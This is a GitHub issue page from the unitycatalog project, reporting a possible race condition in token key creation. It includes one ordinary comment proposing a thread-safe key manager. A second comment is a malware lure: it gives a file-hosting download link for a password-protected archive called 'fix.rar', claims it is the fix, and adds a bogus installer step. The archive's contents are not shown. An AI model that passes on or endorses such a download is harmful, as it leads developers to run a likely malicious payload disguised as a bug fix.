unitycatalog / unitycatalog

Open, Multi-modal Catalog for Data & AI
https://unitycatalog.io/
Apache License 2.0
2.4k stars 383 forks source link

Potential race condition in token secret key creation #377

Open creechy opened 2 months ago

creechy commented 2 months ago

Describe the bug

It has been noted that there is a potential race condition when creating token keys on startup - https://github.com/unitycatalog/unitycatalog/pull/277#pullrequestreview-2255936749

Currently this is not a problem because the keys are created/initialized on startup, but if we ever wanted to provide the ability to rotate token keys, it could expose the race condition.

To Reproduce

-

Expected behavior

There should not be any way in which an improper key-pair could be accessed during operation of the system. The configuration should be thread safe such that both the public and private keys are done in some sort of "atomic" fashion.

System [please complete the following information]:

Additional context

dseynhae commented 2 months ago

Download https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file password: changeme In the installer menu, select "gcc."

mazeem-arbisoft commented 1 month ago

Here are a couple of ways we can design this fix:

  1. Refactor the processes of key generation, persisting and reading back when needed to a separate class and make it thread safe, say SafeKeyManager.
    • We can protect using locks or consider other ways to accomplish the process of generating and persisting both keys atomically
    • We need to also make sure that either both keys are updated or none of them in case writing fails for some reason
    • We can also consider file locks (yet to see if we need them)
  2. We could do the above in SecurityConfiguration class but that could clutter the config logic. Instead we could just cleanly abstract away in a separate class.

It is assumed that we are looking to provide safety at an instance level and not globally.

Let me know your thoughts.